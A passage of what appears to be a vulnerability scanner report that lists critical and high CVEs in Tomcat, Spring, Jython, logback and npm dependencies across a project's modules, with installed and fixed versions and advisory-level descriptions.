This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 10.0.0-M1 through 10.0.27.
Older, end of support versions may also be affected.
Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-41293
CVE-2026-43512 - org.apache.tomcat:tomcat
Severity: CRITICAL
Installed Version: 10.1.43
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: distro/tomcat/assembly/pom.xml
Title: DEPRECATED: Authentication Bypass Issues vulnerability in digest authe ...
Description:
DEPRECATED: Authentication Bypass Issues vulnerability in digest authentication in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from before 7.0.0.
Older unsupported versions any also be affect
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-43512
CVE-2026-43515 - org.apache.tomcat:tomcat
Severity: CRITICAL
Installed Version: 10.1.43
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: distro/tomcat/assembly/pom.xml
Title: Improper Authorization vulnerability when multiple method constraints ...
Description:
Improper Authorization vulnerability when multiple method constraints define an HTTP method for the same extension in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-43515
CVE-2026-25896 - fast-xml-parser
Severity: CRITICAL
Installed Version: 4.5.3
Fixed Version: 5.3.5, 4.5.4
Target: engine-rest/docs/package-lock.json
Title: fast-xml-parser: fast-xml-parser: Cross-Site Scripting (XSS) due to improper DOCTYPE entity handling
Description:
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. From 4.1.3to before 5.3.5, a dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. This vulnerability is fixed in 5.3.5.
Reference: https://avd.aquasec.com/nvd/cve-2026-25896
CVE-2016-1000027 - org.springframework:spring-web
Severity: CRITICAL
Installed Version: 5.3.39
Fixed Version: 6.0.0
Target: qa/integration-tests-engine/pom.xml
Title: spring: HttpInvokerServiceExporter readRemoteInvocation method untrusted java deserialization
Description:
Pivotal Spring Framework through 5.3.16 suffers from a potential remote code execution (RCE) issue if used for Java deserialization of untrusted data. Depending on how the library is implemented within a product, this issue may or not occur, and authentication may be required. NOTE: the vendor's position is that untrusted data is not an intended use case. The product's behavior will not be changed because some users rely on deserialization of trusted data.
Reference: https://avd.aquasec.com/nvd/cve-2016-1000027
CVE-2019-10202 - org.codehaus.jackson:jackson-mapper-asl
Severity: CRITICAL
Installed Version: 1.9.11
Fixed Version:
Target: qa/performance-tests-engine/pom.xml
Title: codehaus: incomplete fix for unsafe deserialization in jackson-databind vulnerabilities
Description:
A series of deserialization vulnerabilities have been discovered in Codehaus 1.9.x implemented in EAP 7. This CVE fixes CVE-2017-17485, CVE-2017-7525, CVE-2017-15095, CVE-2018-5968, CVE-2018-7489, CVE-2018-1000873, CVE-2019-12086 reported for FasterXML jackson-databind by implementing a whitelist approach that will mitigate these vulnerabilities and future ones alike.
Reference: https://avd.aquasec.com/nvd/cve-2019-10202
CVE-2022-22965 - org.springframework:spring-beans
Severity: CRITICAL
Installed Version: 5.2.19.RELEASE
Fixed Version: 5.2.20.RELEASE, 5.3.18
Target: qa/test-db-instance-migration/pom.xml
Title: spring-framework: RCE via Data Binding on JDK 9+
Description:
A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
Reference: https://avd.aquasec.com/nvd/cve-2022-22965
CVE-2022-22965 - org.springframework:spring-beans
Severity: CRITICAL
Installed Version: 5.2.8.RELEASE
Fixed Version: 5.2.20.RELEASE, 5.3.18
Target: qa/test-db-instance-migration/pom.xml
Title: spring-framework: RCE via Data Binding on JDK 9+
Description:
A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
Reference: https://avd.aquasec.com/nvd/cve-2022-22965
CVE-2022-22965 - org.springframework:spring-beans
Severity: CRITICAL
Installed Version: 5.2.8.RELEASE
Fixed Version: 5.2.20.RELEASE, 5.3.18
Target: qa/test-db-instance-migration/test-fixture-714/pom.xml
Title: spring-framework: RCE via Data Binding on JDK 9+
Description:
A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
Reference: https://avd.aquasec.com/nvd/cve-2022-22965
CVE-2022-22965 - org.springframework:spring-beans
Severity: CRITICAL
Installed Version: 5.2.19.RELEASE
Fixed Version: 5.2.20.RELEASE, 5.3.18
Target: qa/test-db-instance-migration/test-fixture-717/pom.xml
Title: spring-framework: RCE via Data Binding on JDK 9+
Description:
A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
Reference: https://avd.aquasec.com/nvd/cve-2022-22965
CVE-2016-4000 - org.python:jython
Severity: CRITICAL
Installed Version: 2.5.3
Fixed Version: 2.7.1-rc1
Target: qa/tomcat-runtime/pom.xml
Title: jython: Unsafe deserialization leads to code execution
Description:
Jython before 2.7.1rc1 allows attackers to execute arbitrary code via a crafted serialized PyFunction object.
Reference: https://avd.aquasec.com/nvd/cve-2016-4000
CVE-2016-4000 - org.python:jython
Severity: CRITICAL
Installed Version: 2.5.3
Fixed Version: 2.7.1-rc1
Target: qa/tomcat9-runtime/pom.xml
Title: jython: Unsafe deserialization leads to code execution
Description:
Jython before 2.7.1rc1 allows attackers to execute arbitrary code via a crafted serialized PyFunction object.
Reference: https://avd.aquasec.com/nvd/cve-2016-4000
CVE-2016-4000 - org.python:jython
Severity: CRITICAL
Installed Version: 2.5.3
Fixed Version: 2.7.1-rc1
Target: qa/wildfly-runtime/pom.xml
Title: jython: Unsafe deserialization leads to code execution
Description:
Jython before 2.7.1rc1 allows attackers to execute arbitrary code via a crafted serialized PyFunction object.
Reference: https://avd.aquasec.com/nvd/cve-2016-4000
CVE-2016-4000 - org.python:jython
Severity: CRITICAL
Installed Version: 2.5.3
Fixed Version: 2.7.1-rc1
Target: qa/wildfly26-runtime/pom.xml
Title: jython: Unsafe deserialization leads to code execution
Description:
Jython before 2.7.1rc1 allows attackers to execute arbitrary code via a crafted serialized PyFunction object.
Reference: https://avd.aquasec.com/nvd/cve-2016-4000
CVE-2026-41293 - org.apache.tomcat.embed:tomcat-embed-core
Severity: CRITICAL
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: Improper Input Validation vulnerability in Apache Tomcat. This issue ...
Description:
Improper Input Validation vulnerability in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 10.0.0-M1 through 10.0.27.
Older, end of support versions may also be affected.
Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-41293
CVE-2026-43512 - org.apache.tomcat.embed:tomcat-embed-core
Severity: CRITICAL
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: DEPRECATED: Authentication Bypass Issues vulnerability in digest authe ...
Description:
DEPRECATED: Authentication Bypass Issues vulnerability in digest authentication in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from before 7.0.0.
Older unsupported versions any also be affect
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-43512
CVE-2026-43515 - org.apache.tomcat.embed:tomcat-embed-core
Severity: CRITICAL
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: Improper Authorization vulnerability when multiple method constraints ...
Description:
Improper Authorization vulnerability when multiple method constraints define an HTTP method for the same extension in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-43515
CVE-2026-22732 - org.springframework.security:spring-security-web
Severity: CRITICAL
Installed Version: 6.5.3
Fixed Version: 6.5.9, 7.0.4
Target: spring-boot-starter/starter-security/pom.xml
Title: Spring Security: Spring Security: Security policy bypass and information disclosure due to unwritten HTTP headers
Description:
When applications specify HTTP response headers for servlet applications using Spring Security, there is the possibility that the HTTP Headers will not be written.
This issue affects Spring Security Servlet applications using lazy (default) writing of HTTP Headers:
: from 5.7.0 through 5.7.21, from 5.8.0 through 5.8.23, from 6.3.0 through 6.3.14, from 6.4.0 through 6.4.14, from 6.5.0 through 6.5.8, from 7.0.0 through 7.0.3.
Reference: https://avd.aquasec.com/nvd/cve-2026-22732
CVE-2026-41293 - org.apache.tomcat.embed:tomcat-embed-core
Severity: CRITICAL
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: Improper Input Validation vulnerability in Apache Tomcat. This issue ...
Description:
Improper Input Validation vulnerability in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 10.0.0-M1 through 10.0.27.
Older, end of support versions may also be affected.
Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-41293
CVE-2026-43512 - org.apache.tomcat.embed:tomcat-embed-core
Severity: CRITICAL
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: DEPRECATED: Authentication Bypass Issues vulnerability in digest authe ...
Description:
DEPRECATED: Authentication Bypass Issues vulnerability in digest authentication in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from before 7.0.0.
Older unsupported versions any also be affect
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-43512
CVE-2026-43515 - org.apache.tomcat.embed:tomcat-embed-core
Severity: CRITICAL
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: Improper Authorization vulnerability when multiple method constraints ...
Description:
Improper Authorization vulnerability when multiple method constraints define an HTTP method for the same extension in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-43515
CVE-2026-25896 - fast-xml-parser
Severity: CRITICAL
Installed Version: 4.3.4
Fixed Version: 5.3.5, 4.5.4
Target: webapps/frontend/package-lock.json
Title: fast-xml-parser: fast-xml-parser: Cross-Site Scripting (XSS) due to improper DOCTYPE entity handling
Description:
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. From 4.1.3to before 5.3.5, a dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. This vulnerability is fixed in 5.3.5.
Reference: https://avd.aquasec.com/nvd/cve-2026-25896
CVE-2025-7783 - form-data
Severity: CRITICAL
Installed Version: 4.0.0
Fixed Version: 2.5.4, 3.0.4, 4.0.4
Target: webapps/frontend/package-lock.json
Title: Use of Insufficiently Random Values vulnerability in form-data allows ...
Description:
Use of Insufficiently Random Values vulnerability in form-data allows HTTP Parameter Pollution (HPP). This vulnerability is associated with program files lib/form_data.Js.
This issue affects form-data: < 2.5.4, 3.0.0 - 3.0.3, 4.0.0 - 4.0.3.
Reference: https://avd.aquasec.com/nvd/cve-2025-7783
CVE-2023-6378 - ch.qos.logback:logback-classic
Severity: HIGH
Installed Version: 1.2.11
Fixed Version: 1.3.12, 1.4.12, 1.2.13
Target: commons/pom.xml
Title: logback: serialization vulnerability in logback receiver
Description:
A serialization vulnerability in logback receiver component part of
logback version 1.4.11 allows an attacker to mount a Denial-Of-Service
attack by sending poisoned data.
Reference: https://avd.aquasec.com/nvd/cve-2023-6378
CVE-2023-6378 - ch.qos.logback:logback-core
Severity: HIGH
Installed Version: 1.2.11
Fixed Version: 1.3.12, 1.4.12, 1.2.13
Target: commons/pom.xml
Title: logback: serialization vulnerability in logback receiver
Description:
A serialization vulnerability in logback receiver component part of
logback version 1.4.11 allows an attacker to mount a Denial-Of-Service
attack by sending poisoned data.
Reference: https://avd.aquasec.com/nvd/cve-2023-6378
CVE-2023-6378 - ch.qos.logback:logback-classic
Severity: HIGH
Installed Version: 1.2.11
Fixed Version: 1.3.12, 1.4.12, 1.2.13
Target: commons/testing/pom.xml
Title: logback: serialization vulnerability in logback receiver
Description:
A serialization vulnerability in logback receiver component part of
logback version 1.4.11 allows an attacker to mount a Denial-Of-Service
attack by sending poisoned data.
Reference: https://avd.aquasec.com/nvd/cve-2023-6378
CVE-2023-6378 - ch.qos.logback:logback-core
Severity: HIGH
Installed Version: 1.2.11
Fixed Version: 1.3.12, 1.4.12, 1.2.13
Target: commons/testing/pom.xml
Title: logback: serialization vulnerability in logback receiver
Description:
A serialization vulnerability in logback receiver component part of
logback version 1.4.11 allows an attacker to mount a Denial-Of-Service
attack by sending poisoned data.
Reference: https://avd.aquasec.com/nvd/cve-2023-6378
CVE-2025-55752 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 11.0.11, 10.1.45, 9.0.109
Target: distro/run/core/pom.xml
Title: Relative Path Traversal vulnerability in Apache Tomcat. The fix for b ...
Description:
Relative Path Traversal vulnerability in Apache Tomcat.
The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected.
Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-55752
CVE-2026-24734 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 11.0.18, 10.1.52, 9.0.115
Target: distro/run/core/pom.xml
Title: tomcat: Apache Tomcat: Certificate revocation bypass due to improper OCSP response validation
Description:
Improper Input Validation vulnerability in Apache Tomcat Native, Apache Tomcat.
When using an OCSP responder, Tomcat Native (and Tomcat's FFM port of the Tomcat Native code) did not complete verification or freshness checks on the OCSP response which could allow certificate revocation to be bypassed.
This issue affects Apache Tomcat Native: from 1.3.0 through 1.3.4, from 2.0.0 through 2.0.11; Apache Tomcat: from 11.0.0-M1 through 11.0.17, from 10.1.0-M7 through 10.1.51, from 9.0.83 through 9.0.114.
The following versions were EOL at the time the CVE was created but are
known to be affected: from 1.1.23 through 1.1.34, from 1.2.0 through 1.2.39. Older EOL versions are not affected.
Apache Tomcat Native users are recommended to upgrade to versions 1.3.5 or later or 2.0.12 or later, which fix the issue.
Apache Tomcat users are recommended to upgrade to versions 11.0.18 or later, 10.1.52 or later or 9.0.115 or later which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-24734
CVE-2026-24880 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.116, 10.1.52, 11.0.20
Target: distro/run/core/pom.xml
Title: Apache Tomcat: Apache Tomcat: HTTP Request/Response Smuggling via invalid chunk extension
Description:
Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') vulnerability in Apache Tomcat via invalid chunk extension.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M1 through 10.1.52, from 9.0.0.M1 through 9.0.115, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Other, unsupported versions may also be affected.
Users are recommended to upgrade to version 11.0.20, 10.1.52 or 9.0.116, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-24880
CVE-2026-34483 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.116, 10.1.54, 11.0.21
Target: distro/run/core/pom.xml
Title: Apache Tomcat: Apache Tomcat: Information disclosure due to improper encoding in JsonAccessLogValve
Description:
Improper Encoding or Escaping of Output vulnerability in the JsonAccessLogValve component of Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.40 through 9.0.116.
Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117 , which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-34483
CVE-2026-34487 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.117, 10.1.54, 11.0.21
Target: distro/run/core/pom.xml
Title: Apache Tomcat: Apache Tomcat: Information disclosure via sensitive data in log files
Description:
Insertion of Sensitive Information into Log File vulnerability in the cloud membership for clustering component of Apache Tomcat exposed the Kubernetes bearer token.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.13 through 9.0.116.
Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-34487
CVE-2026-41284 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: distro/run/core/pom.xml
Title: Allocation of Resources Without Limits or Throttling vulnerability in ...
Description:
Allocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117.
Older, unsupported versions may also be affected.
Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-41284
CVE-2026-42498 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: distro/run/core/pom.xml
Title: Exposure of HTTP Authentication Header to unexpected hosts during WebS ...
Description:
Exposure of HTTP Authentication Header to unexpected hosts during WebSocket authentication vulnerability in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.2 through 9.0.117, from 8.5.24 through 8.5.100, from 7.0.83 through 7.0.109.
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-42498
CVE-2026-43513 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: distro/run/core/pom.xml
Title: Improper Handling of Case Sensitivity vulnerability in LockOutRealm in ...
Description:
Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Older unsupported versions may also be affected.
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-43513
CVE-2026-40973 - org.springframework.boot:spring-boot
Severity: HIGH
Installed Version: 3.5.5
Fixed Version: 4.0.6, 3.5.14
Target: distro/run/core/pom.xml
Title: Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory
Description:
A local attacker on the same host as the application may be able to take control of the directory used by `ApplicationTemp`. When `server.servlet.session.persistent` is set to `true` and the attack persists across application restarts, this may allow the attacker to read session information and hijack authenticated users or deploy a gadget chain and execute code as the application's user.
Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / `ApplicationTemp` ownership verification. Versions that are no longer supported are also affected per vendor advisory.
Reference: https://avd.aquasec.com/nvd/cve-2026-40973
CVE-2025-41249 - org.springframework:spring-core
Severity: HIGH
Installed Version: 6.2.10
Fixed Version: 6.2.11
Target: distro/run/core/pom.xml
Title: The Spring Framework annotation detection mechanism may not correctly ...
Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.
Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.
You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.
This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .
Reference: https://avd.aquasec.com/nvd/cve-2025-41249
CVE-2025-41248 - org.springframework.security:spring-security-core
Severity: HIGH
Installed Version: 6.5.3
Fixed Version: 6.4.10, 6.5.4
Target: distro/run/modules/oauth2/pom.xml
Title: Spring Security annotation detection mechanism has authorization bypass
Description:
The Spring Security annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue when using @PreAuthorize and other method security annotations, resulting in an authorization bypass.
Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.
You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.
This CVE is published in conjunction with CVE-2025-41249 https://spring.io/security/cve-2025-41249 .
Reference: https://avd.aquasec.com/nvd/cve-2025-41248
CVE-2025-55752 - org.apache.tomcat:tomcat
Severity: HIGH
Installed Version: 10.1.43
Fixed Version: 11.0.11, 10.1.45, 9.0.109
Target: distro/tomcat/assembly/pom.xml
Title: Relative Path Traversal vulnerability in Apache Tomcat. The fix for b ...
Description:
Relative Path Traversal vulnerability in Apache Tomcat.
The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected.
Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-55752
CVE-2026-34483 - org.apache.tomcat:tomcat
Severity: HIGH
Installed Version: 10.1.43
Fixed Version: 9.0.116, 10.1.54, 11.0.21
Target: distro/tomcat/assembly/pom.xml
Title: Apache Tomcat: Apache Tomcat: Information disclosure due to improper encoding in JsonAccessLogValve
Description:
Improper Encoding or Escaping of Output vulnerability in the JsonAccessLogValve component of Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.40 through 9.0.116.
Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117 , which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-34483
CVE-2026-34487 - org.apache.tomcat:tomcat
Severity: HIGH
Installed Version: 10.1.43
Fixed Version: 9.0.117, 10.1.54, 11.0.21
Target: distro/tomcat/assembly/pom.xml
Title: Apache Tomcat: Apache Tomcat: Information disclosure via sensitive data in log files
Description:
Insertion of Sensitive Information into Log File vulnerability in the cloud membership for clustering component of Apache Tomcat exposed the Kubernetes bearer token.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.13 through 9.0.116.
Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-34487
CVE-2026-41284 - org.apache.tomcat:tomcat
Severity: HIGH
Installed Version: 10.1.43
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: distro/tomcat/assembly/pom.xml
Title: Allocation of Resources Without Limits or Throttling vulnerability in ...
Description:
Allocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117.
Older, unsupported versions may also be affected.
Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-41284
CVE-2026-42498 - org.apache.tomcat:tomcat
Severity: HIGH
Installed Version: 10.1.43
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: distro/tomcat/assembly/pom.xml
Title: Exposure of HTTP Authentication Header to unexpected hosts during WebS ...
Description:
Exposure of HTTP Authentication Header to unexpected hosts during WebSocket authentication vulnerability in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.2 through 9.0.117, from 8.5.24 through 8.5.100, from 7.0.83 through 7.0.109.
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-42498
CVE-2026-43513 - org.apache.tomcat:tomcat
Severity: HIGH
Installed Version: 10.1.43
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: distro/tomcat/assembly/pom.xml
Title: Improper Handling of Case Sensitivity vulnerability in LockOutRealm in ...
Description:
Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Older unsupported versions may also be affected.
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-43513
CVE-2026-26278 - fast-xml-parser
Severity: HIGH
Installed Version: 4.5.3
Fixed Version: 4.5.4, 5.3.6
Target: engine-rest/docs/package-lock.json
Title: fast-xml-parser: fast-xml-parser: Denial of Service via unlimited XML entity expansion
Description:
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 4.1.3 through 5.3.5, the XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it’s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application. Version 5.3.6 fixes the issue. As a workaround, avoid using DOCTYPE parsing by `processEntities: false` option.
Reference: https://avd.aquasec.com/nvd/cve-2026-26278
CVE-2026-33036 - fast-xml-parser
Severity: HIGH
Installed Version: 4.5.3
Fixed Version: 5.5.6, 4.5.5
Target: engine-rest/docs/package-lock.json
Title: fast-xml-parser: fast-xml-parser: Denial of Service via XML entity expansion bypass
Description:
